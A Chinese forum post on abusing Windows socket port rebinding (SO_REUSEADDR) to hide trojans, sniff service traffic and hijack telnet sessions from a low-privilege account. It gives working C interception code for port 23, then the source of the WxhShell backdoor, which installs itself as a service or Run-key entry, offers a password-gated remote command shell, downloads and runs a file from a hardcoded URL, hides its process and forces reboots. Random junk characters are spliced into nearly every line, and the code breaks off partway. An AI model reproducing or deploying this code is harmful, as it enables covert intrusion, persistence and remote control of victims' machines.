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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NAbVH{*\U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g^AQBF  
N[%u>!  
  saddr.sin_family = AF_INET; T$4{fhV \  
S c)^k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _?{7%(C  
JK k0f9)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C?PQ>Q!f-  
]v+<K63@T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nbi7r cT  
{o=?@$6C  
  这意味着什么?意味着可以进行如下的攻击: swKkY`g  
g3R(,IH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Syk)S<  
\Wbmmd}8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TT$A o  
ys[Li.s:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }F`|_8L*v)  
oMh$:jR$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  odRiCiMH  
,_[x|8m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s|[>@~gXk  
A1WUK=P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ajYe?z  
9T,/R1N8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .tBlGMcN  
0-. d{P  
  #include r*X,]\V0x  
  #include  Z>[7#;;  
  #include 2*#|t: (c  
  #include    f5jl$H.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JF~i.+{ h  
  int main() u-_r2U  
  { Hbm 4oYN  
  WORD wVersionRequested; _;lw,;ftA  
  DWORD ret; tFN >]`Z  
  WSADATA wsaData; dzVi ~wt_&  
  BOOL val; U|^xr~q!f-  
  SOCKADDR_IN saddr; +-9vrEB  
  SOCKADDR_IN scaddr; g=*jKSZ  
  int err; 5&]5*;BvJ  
  SOCKET s; mH*ldf;J;=  
  SOCKET sc; %,>z`D,Hg  
  int caddsize; h ><Sp*z_V  
  HANDLE mt; E$8JrL  
  DWORD tid;   *$f=`sj  
  wVersionRequested = MAKEWORD( 2, 2 ); D3pz69W  
  err = WSAStartup( wVersionRequested, &wsaData ); kfy!T rf  
  if ( err != 0 ) { ."Ms7=  
  printf("error!WSAStartup failed!\n"); 1{}p_"s>  
  return -1; U& ?hG>  
  } SI(f&T(  
  saddr.sin_family = AF_INET; | ,8z" g  
   |s8N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M`MxdwR  
6j#JhcS+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d2\ !tJm  
  saddr.sin_port = htons(23); Ni$'# W?t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Epzg|L1)  
  { f?3-C8 hU  
  printf("error!socket failed!\n"); NOb`)qb  
  return -1; N&9o  1_}  
  } T j$'B[cv  
  val = TRUE; !avol/*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +WX/4_STV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }gp@0ri%5  
  { B(Sy.n  
  printf("error!setsockopt failed!\n"); WT *"V<Z  
  return -1; R@e'=z[%1  
  } 8K%N7RL|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G0FzXtu)q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %mI0*YRma  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'yo@5*x7  
i FI74COam  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #]#9Xq  
  { x*7@b8J  
  ret=GetLastError(); Q>niJ'7WF  
  printf("error!bind failed!\n"); i'tMpS3  
  return -1; !MbzFs~  
  } [%W'd9`>  
  listen(s,2); 86&M Zdv6  
  while(1) KK|w30\f  
  { 1wSAwpz  
  caddsize = sizeof(scaddr); \Z{tC$|H  
  //接受连接请求 uvys>]+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {X{R]  
  if(sc!=INVALID_SOCKET) C.j+Zb1Z(  
  { KE?t?p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,'L>:pF3  
  if(mt==NULL) PyeNu3Il4  
  { 6opin  
  printf("Thread Creat Failed!\n"); D9rQ%|}S  
  break; 6BE,L  
  } ep>!jMhJa  
  } wj[yo S  
  CloseHandle(mt); _]:b@gXUw  
  } _nGx[1G( 5  
  closesocket(s); qGk+4 yC  
  WSACleanup(); R2bqhSlF  
  return 0; bM W|:rn  
  }   F.s$Y+c!6  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2.qPMqH  
  { H MOIUd  
  SOCKET ss = (SOCKET)lpParam; dSI"yz  
  SOCKET sc; zzmC[,u}  
  unsigned char buf[4096]; _,3ljf?WQM  
  SOCKADDR_IN saddr; bG;fwgAr  
  long num; -t-f&`S||  
  DWORD val; 62xOh\(  
  DWORD ret; DE13x *2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I8#2+$Be+@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e =amh  
  saddr.sin_family = AF_INET; t}t(fJHY`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X9>fE{)!  
  saddr.sin_port = htons(23); 4&)sROjV=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #qRoTtMq 7  
  { _[:6.oNjIe  
  printf("error!socket failed!\n"); g)Z8WH$;H3  
  return -1; q(sTKT[V  
  } i4D(8;  
  val = 100; bpu`'Vx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iu'9yb  
  { )\wkVAm  
  ret = GetLastError(); PgtLyzc  
  return -1; Ku5||u.F4*  
  } X'A`" }=_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lg^'/8^f  
  { r[9m-#)>  
  ret = GetLastError(); X4!93  
  return -1; UB~K/r`.|  
  } e02Hf{eOfw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .ARYCTyG  
  { F`=p/IAJK  
  printf("error!socket connect failed!\n"); 0d2P   
  closesocket(sc); (3e.q'  
  closesocket(ss); 4:MvC^X~z  
  return -1; Jb,54uN  
  } .G/Rh92  
  while(1) vG|!d+  
  { @ f[-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +.cpZqWn3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }n)0}U5;0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fy+5i^{=  
  num = recv(ss,buf,4096,0); g-3^</_fZ  
  if(num>0) +'F;\E  
  send(sc,buf,num,0); y_PA9#v7  
  else if(num==0) #N{]  
  break; A %w9Da?B  
  num = recv(sc,buf,4096,0); !Uiq3s`1T  
  if(num>0) _z p<en[  
  send(ss,buf,num,0); =7!s8D,[  
  else if(num==0) rfV'EjiM}  
  break; (Ypy}  
  } jUT`V ZK4&  
  closesocket(ss); *%uzLW0  
  closesocket(sc); U~ X  
  return 0 ; L : $ `8  
  } a\sK{`|X*  
DJGafX^  
9.)z]Gav  
========================================================== zC50 @S3|  
5(~Lr3v0  
下边附上一个代码,,WXhSHELL kBP?_ O  
i)l0[FNI}  
========================================================== iXWzIb}CJ-  
Om.%K>V  
#include "stdafx.h" ]9!y3"..W{  
SIK:0>yK"  
#include <stdio.h> 0E\#!L  
#include <string.h> 7_~sa{1R.  
#include <windows.h>  O_ _s~  
#include <winsock2.h> V x#M!os0  
#include <winsvc.h> (KI9j7  
#include <urlmon.h> K6{wM  
&C'^YF_^0  
#pragma comment (lib, "Ws2_32.lib") bvD}N<>3N  
#pragma comment (lib, "urlmon.lib") Z+B*V )a=  
%9YY \a {  
#define MAX_USER   100 // 最大客户端连接数 "#)|WVa=BM  
#define BUF_SOCK   200 // sock buffer /xX7:U b  
#define KEY_BUFF   255 // 输入 buffer f@}> :x  
Z?P^Y%ls  
#define REBOOT     0   // 重启 jCY~Wc  
#define SHUTDOWN   1   // 关机 +~n:*\  
9]Jv >_W*  
#define DEF_PORT   5000 // 监听端口 e&sH<hWR  
<F^9ML+'  
#define REG_LEN     16   // 注册表键长度 \Zf=A[  
#define SVC_LEN     80   // NT服务名长度 Byq VNz0L  
QC'Ru'8S  
// 从dll定义API i]n2\v AG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /? %V% n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I`{3I-E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xLed];2G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %P}H3;2  
%OoH<\w w  
// wxhshell配置信息 kA=5Kc  
struct WSCFG { kq| !{_  
  int ws_port;         // 监听端口 G#[A'tbKk  
  char ws_passstr[REG_LEN]; // 口令 *iB&tWv  
  int ws_autoins;       // 安装标记, 1=yes 0=no eb7UA=[Z  
  char ws_regname[REG_LEN]; // 注册表键名 {Q>OZm\+  
  char ws_svcname[REG_LEN]; // 服务名 A=kOSq 4Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cab-:2L]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gWgp:;Me  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3JC uM_y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1 b 7jNkQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b |:Y3_>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "{8j!+]4i  
JuZkE9C,${  
}; 7V%P  
-sJ1q^;f@  
// default Wxhshell configuration !aSj1 2J  
struct WSCFG wscfg={DEF_PORT, Oj-\  
    "xuhuanlingzhe", ?Uq"zq  
    1, pPa]@ z~O  
    "Wxhshell", HGAi2+&  
    "Wxhshell", s(py7{ ^K  
            "WxhShell Service", 'goKYl#1Q  
    "Wrsky Windows CmdShell Service", *=i&n>  
    "Please Input Your Password: ", <ll?rPio"  
  1, ]Ea-MeH  
  "http://www.wrsky.com/wxhshell.exe", JDf>Qg{  
  "Wxhshell.exe" 7:B/ ?E  
    }; 3;buC|ky  
A+^okT37r  
// 消息定义模块 {m!5IR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e^lX|L>o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'v^Vg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xz@#,F:@  
char *msg_ws_ext="\n\rExit."; u7mPp3ZYK  
char *msg_ws_end="\n\rQuit."; /"J 6``MV  
char *msg_ws_boot="\n\rReboot..."; NCh-BinK@  
char *msg_ws_poff="\n\rShutdown..."; ;8oe-xS\+  
char *msg_ws_down="\n\rSave to "; X$KTsG*  
ZBDF>u@  
char *msg_ws_err="\n\rErr!"; JPF6zzl)  
char *msg_ws_ok="\n\rOK!"; *rTg>)  
&|Wqzdo?#  
char ExeFile[MAX_PATH]; 7j)ky2r#  
int nUser = 0; GXxI=,L8F  
HANDLE handles[MAX_USER]; "gy&eR>  
int OsIsNt; hDi~{rbmc  
56 JQ h  
SERVICE_STATUS       serviceStatus; 6 D Xja_lp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S'5)K  
/e"iY F  
// 函数声明 ,K[e?(RP  
int Install(void); ,KJHYm=Q  
int Uninstall(void); ^mn!;nu  
int DownloadFile(char *sURL, SOCKET wsh); 0GxJja  
int Boot(int flag); ;N#}3lpLqg  
void HideProc(void); g"748LY>=p  
int GetOsVer(void); |\dv$`_T  
int Wxhshell(SOCKET wsl); -$"$r ~ad  
void TalkWithClient(void *cs); 7;|"1H:cmw  
int CmdShell(SOCKET sock); keC'/\e  
int StartFromService(void); YzjRD:  
int StartWxhshell(LPSTR lpCmdLine); c#TY3Z|  
PS" rXaY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +YZo-tE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sJKr%2nVV  
V?dwTc  
// 数据结构和表定义 M~\dvJ$cH  
SERVICE_TABLE_ENTRY DispatchTable[] = ATqblU>D  
{ O|sk "YXF  
{wscfg.ws_svcname, NTServiceMain}, y5F+~z }{  
{NULL, NULL} KANR=G   
}; pMT7/y-  
UhqTn$=fb  
// 自我安装 FB wG3x  
int Install(void) ~qQZhu"  
{ Ea S[W?u}  
  char svExeFile[MAX_PATH]; 2!0tD+B  
  HKEY key; ^+Nd\tp  
  strcpy(svExeFile,ExeFile); \t)va:y  
)YgntI@  
// 如果是win9x系统,修改注册表设为自启动 3}FZg w .  
if(!OsIsNt) { >=97~a+.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;&<N1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); la<.B^  
  RegCloseKey(key); _^Q!cB'~/`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S[!6Lw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dx1(}D  
  RegCloseKey(key); x)=l4A\  
  return 0; Eo2`Vr9g  
    } )M dddz4  
  } .iy>N/u  
} ]fzXrN_  
else { 5H.~pc2y  
hy~[7:/<I&  
// 如果是NT以上系统,安装为系统服务 %IBT85{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UB5H8&Rf!  
if (schSCManager!=0) Q k}RcP  
{ Vm<_e  
  SC_HANDLE schService = CreateService 7(]F+\A3  
  ( 4ams~  
  schSCManager, C<C$df  
  wscfg.ws_svcname, {,JO}Dmu5  
  wscfg.ws_svcdisp, Mq<ob+  
  SERVICE_ALL_ACCESS, ;Tnid7:S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `$Rgn3  
  SERVICE_AUTO_START, Hghd Ts  
  SERVICE_ERROR_NORMAL, jz_Y|"{`v  
  svExeFile, X PyDZk/m  
  NULL, 'UhHcMh:  
  NULL, Fn .J tIu  
  NULL, ;+XrCy!.)L  
  NULL, J@:Q(  
  NULL pWKE`x^  
  ); WfaMu| L  
  if (schService!=0) 9[zxq`qT}+  
  { A0 Nx?  
  CloseServiceHandle(schService); *gH]R*Q[Rt  
  CloseServiceHandle(schSCManager); b]b>i]n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BL 1KM2]  
  strcat(svExeFile,wscfg.ws_svcname); '>t&fzD0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OM0r*<D"!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aGC3&c[Wx  
  RegCloseKey(key); rs?Dn6:;B  
  return 0; =gI41Y]  
    } OJpfiZ@Q_  
  } [TOo 9W  
  CloseServiceHandle(schSCManager); chL1r9V)v  
} pp"#pl  
} ]uox ^HC  
pZ'q_Oux  
return 1; \"(?k>]E  
} ,i6E L  
pi"M*$  
// 自我卸载 vQLYWRXiA  
int Uninstall(void) uX1;  
{ ={;pg(  
  HKEY key; 't`h?VvL  
86)2\uan  
if(!OsIsNt) { ~g/"p`2-N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A9b(P[!]T:  
  RegDeleteValue(key,wscfg.ws_regname); |&8XmexLb  
  RegCloseKey(key); K1hkOj;S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4+q,[m-$(  
  RegDeleteValue(key,wscfg.ws_regname); :41Y  
  RegCloseKey(key); ?d3K:|g  
  return 0; j7Fb4;o{  
  } n5kGHL2   
} \ji\r]k  
} *|Vf1R]  
else { :ZY%-]u7  
3eE=>E4,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :rU.5(,  
if (schSCManager!=0) 3S3(Gl  
{ +"-l~`+<es  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u!|_bI3  
  if (schService!=0) ,Suk_aX>  
  { aI&~aezmN  
  if(DeleteService(schService)!=0) { `hO%(9V9  
  CloseServiceHandle(schService); 56z>/`=  
  CloseServiceHandle(schSCManager); ?@4Mt2Z\  
  return 0; A#cFO)"  
  } i'li;xUhZ  
  CloseServiceHandle(schService); cxs@ph&Wk  
  } $B-/>Rz  
  CloseServiceHandle(schSCManager); 0RA#Y(IR  
} B{&W|z{$  
} L@GICW~  
{ .$7g8]I  
return 1; mv99SOe[Fz  
} g@^y$wt  
g ZtQtFi  
// 从指定url下载文件 I>FL&E@K  
int DownloadFile(char *sURL, SOCKET wsh) Ag9GYm  
{ 9< ?w9D.1  
  HRESULT hr; @>O7/d?O  
char seps[]= "/"; +pqbl*W;1  
char *token; ^WB[uFt-  
char *file; zK~8@{l}_"  
char myURL[MAX_PATH]; ;GM`=M4  
char myFILE[MAX_PATH]; CmBP C jh  
^$P_B-C N  
strcpy(myURL,sURL); n~6$CQ5dF(  
  token=strtok(myURL,seps); u!D?^:u=)  
  while(token!=NULL) a?+C]u?_D  
  { c;]\$#2  
    file=token; \;Q(o$5<  
  token=strtok(NULL,seps); Jn{)CZ  
  } O~qRHYv  
gS<p~LPf  
GetCurrentDirectory(MAX_PATH,myFILE); tRU/[?!  
strcat(myFILE, "\\"); >97YK =  
strcat(myFILE, file); <lFHmi$qt{  
  send(wsh,myFILE,strlen(myFILE),0); esTL3 l{[  
send(wsh,"...",3,0); t#P7'9Se8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |.Vgk8oTl  
  if(hr==S_OK) v];YC6shx  
return 0; 8i] S[$Fc  
else @I4HpY7:  
return 1; F'[Y.tA ,#  
aQ(P#n>a2  
} d3rjj4N"z  
aU;X&g+_)  
// 系统电源模块 _UTN4z2aTG  
int Boot(int flag)  dHx4yFS  
{ [xM&Jdf8  
  HANDLE hToken; ,M`1 k  
  TOKEN_PRIVILEGES tkp; #9(+)~irz`  
{D8opepO)  
  if(OsIsNt) { |Jx:#OM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #@ HlnF}T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u|wl;+.  
    tkp.PrivilegeCount = 1; $Mg O)bH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MRz f#o<H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k^d]EF  
if(flag==REBOOT) { -%J9!(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vyi.:lL _8  
  return 0; $)*qoV  
} A v>v\ :.>  
else { %G(VYCeK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :7X4VHw/  
  return 0; ;Lfn&2G  
} 392(N(  
  } UUz{Qm%  
  else { ;V~x[J|x  
if(flag==REBOOT) { olQP>sa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1@I#Fv  
  return 0; vWmt<E|e  
} K@n-#  
else { m#WXZr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ep3VJ"^  
  return 0; -l}"DP _  
} S}Wj.l+F  
} tOVTHx3E]  
^(  
return 1; k+[oYd  
} rx| ,DI  
4j0;okQWV'  
// win9x进程隐藏模块 8cZ[Kl%  
void HideProc(void) g \S6>LG!  
{ F\&wFA'J  
N>EMVUVS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,k.")  
  if ( hKernel != NULL ) j{FRD8]V  
  { u `ww  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l$!ExXEZO;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V"8Go;[  
    FreeLibrary(hKernel); &&$*MHJ  
  } 3-{WFnA  
b&E"r*i|  
return; M3UC9t9]  
} dCn9]cj/  
n\ Lsm  
// 获取操作系统版本 T] H 'l  
int GetOsVer(void) V1Ft3Msq  
{ hy#nK:B  
  OSVERSIONINFO winfo; MA9E??p3\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +(Hp ".gU  
  GetVersionEx(&winfo); B7qi|Fw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Bs  t|  
  return 1; j/oc+ M^  
  else _T.`+0UV  
  return 0; 8[@Y`j8  
} ~a  V5  
zE8_3UC  
// 客户端句柄模块 3s]o~I2x  
int Wxhshell(SOCKET wsl) `yl|N L  
{ TPx0LDk%(  
  SOCKET wsh; dL'oIBp  
  struct sockaddr_in client; )]w&DNc  
  DWORD myID; B:i$  
;L76V$&  
  while(nUser<MAX_USER) A+Un(tU2(  
{ BJHWx,v  
  int nSize=sizeof(client); ,^1 #Uz8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6E ^m*la%  
  if(wsh==INVALID_SOCKET) return 1; (oCpQDab@  
RI'}C`%v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z8h;3Ek  
if(handles[nUser]==0) MsIaMW_  
  closesocket(wsh); bly `m p8#  
else D)4#AI  
  nUser++; n|.eL8lX.<  
  } V?T&>s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^Q0=Ggh  
DV?c%z`YO  
  return 0; ae3 Gn }tf  
} 0ZD)(ps|  
sjLm-pn3  
// 关闭 socket xzx~H>M  
void CloseIt(SOCKET wsh) 6e,IjocsB  
{ mbhh  
closesocket(wsh); |w~*p N0  
nUser--; ,3G B9  
ExitThread(0); oKkDG|IE  
} wE9z@\z]  
vfDX~_N  
// 客户端请求句柄 Iza#v0  
void TalkWithClient(void *cs) ,Cm1~ExJ  
{ ;)f,A)(Z  
asvM/ 9  
  SOCKET wsh=(SOCKET)cs; 'T|QG@q  
  char pwd[SVC_LEN]; u&`rK7 J  
  char cmd[KEY_BUFF]; OWr\$lm@z$  
char chr[1]; IWddJb~hu  
int i,j; H2g#'SK@  
{P?p*2J'  
  while (nUser < MAX_USER) { Hjs#p{t[  
btC<>(kl&  
if(wscfg.ws_passstr) { o<s~455m/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M_$;"NS+}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j~in%|^  
  //ZeroMemory(pwd,KEY_BUFF); [ p0_I7  
      i=0; 6m(+X M S  
  while(i<SVC_LEN) { %,8 "cM`D  
9QF,ynE  
  // 设置超时 s}gdi  
  fd_set FdRead; HN;f~EQT  
  struct timeval TimeOut; +4IaX1.  
  FD_ZERO(&FdRead); P|fh4b4  
  FD_SET(wsh,&FdRead); N- <,wUxf  
  TimeOut.tv_sec=8; ?6\A$?  
  TimeOut.tv_usec=0; 9,>c;7s X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {9F}2 SJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PM:u~D$Jd  
0LHge7482  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ygV-Fv>PQ  
  pwd=chr[0]; S[/D._5QD%  
  if(chr[0]==0xd || chr[0]==0xa) { DoeE=X*`k  
  pwd=0; <c(%xh46  
  break; 1X&scVw  
  } "Q.C1#W}.  
  i++; xJ\sm8  
    } oB!-JX9  
bM W}.v!  
  // 如果是非法用户,关闭 socket *$t=Lh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7W/55ZTmJ  
} 1OK~*=/4  
`9f7H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y$hLsM\%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ ^~+p  
'<C#"2  
while(1) { WH+S d  
.,p@ee$q  
  ZeroMemory(cmd,KEY_BUFF); 'A/{7*,  
Co<F<eXe  
      // 自动支持客户端 telnet标准   B]#iZ,Tp  
  j=0; #@M'*X_%}K  
  while(j<KEY_BUFF) { V8%( h[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dlV HyCW  
  cmd[j]=chr[0]; TPKm>5g  
  if(chr[0]==0xa || chr[0]==0xd) { _(@ezX.p  
  cmd[j]=0; _>{"vY  
  break; hZO=$Mm4p  
  } }f] ~{^  
  j++; mL s>RR#b  
    } 3SF J8  
59_VC('  
  // 下载文件 b~rlh=(o#_  
  if(strstr(cmd,"http://")) { Eo <N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @7Nc*-SM  
  if(DownloadFile(cmd,wsh)) u&Xn#f h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^12}#I  
  else LtDGu})1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >$A,B  
  } VsRdZ4  
  else { N?%FVF  
kgFx  
    switch(cmd[0]) { /T<,vR  
  PrEfJ?  
  // 帮助 sGbk4g  
  case '?': { _7-P8"m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H#I%6k*\a  
    break; `hl1R3nBM  
  } Wl>$<D4mO[  
  // 安装 9>L{K   
  case 'i': { KSl@V>!_  
    if(Install()) yuB\Z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8&y3oxA,  
    else lJ4&kF=t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B}ASZYpW>  
    break; rgrsNr:1  
    } 9D& 22hL4  
  // 卸载 {F$MZ2E  
  case 'r': { Gc:oS vm  
    if(Uninstall()) &G!2T!xx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ].*I Z  
    else 9Or  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l:"zYcp%  
    break; 5sF?0P;ln  
    } jE, oEt O;  
  // 显示 wxhshell 所在路径  .Aa(  
  case 'p': { _dw6 C2]P  
    char svExeFile[MAX_PATH]; EAnw:yUV(  
    strcpy(svExeFile,"\n\r"); n@| &jh  
      strcat(svExeFile,ExeFile); D5fhOq+g  
        send(wsh,svExeFile,strlen(svExeFile),0); R)5zHCwOw  
    break; h<f]hJ`ep  
    } U3ao:2zP  
  // 重启 gl"1;C  
  case 'b': { ~f!iz~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R`emI7|  
    if(Boot(REBOOT)) DWar3+u&0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%hOB :  
    else { !PY.F nZ  
    closesocket(wsh); vWpkU<&3|  
    ExitThread(0); A/U,|  
    } Z^vcODeC$  
    break; 75#&hi/~  
    } j[YO1q*  
  // 关机 P<gr=&  
